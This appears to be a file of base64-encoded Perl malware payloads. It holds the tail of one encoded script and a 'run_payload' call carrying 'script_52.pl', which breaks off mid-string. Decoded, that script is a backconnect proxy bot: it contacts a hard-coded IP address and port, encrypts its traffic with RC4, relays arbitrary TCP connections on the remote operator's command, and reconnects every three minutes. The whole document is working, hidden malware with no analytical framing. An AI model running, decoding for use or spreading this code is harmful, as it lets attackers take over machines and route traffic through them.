OwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_52.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTk0JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW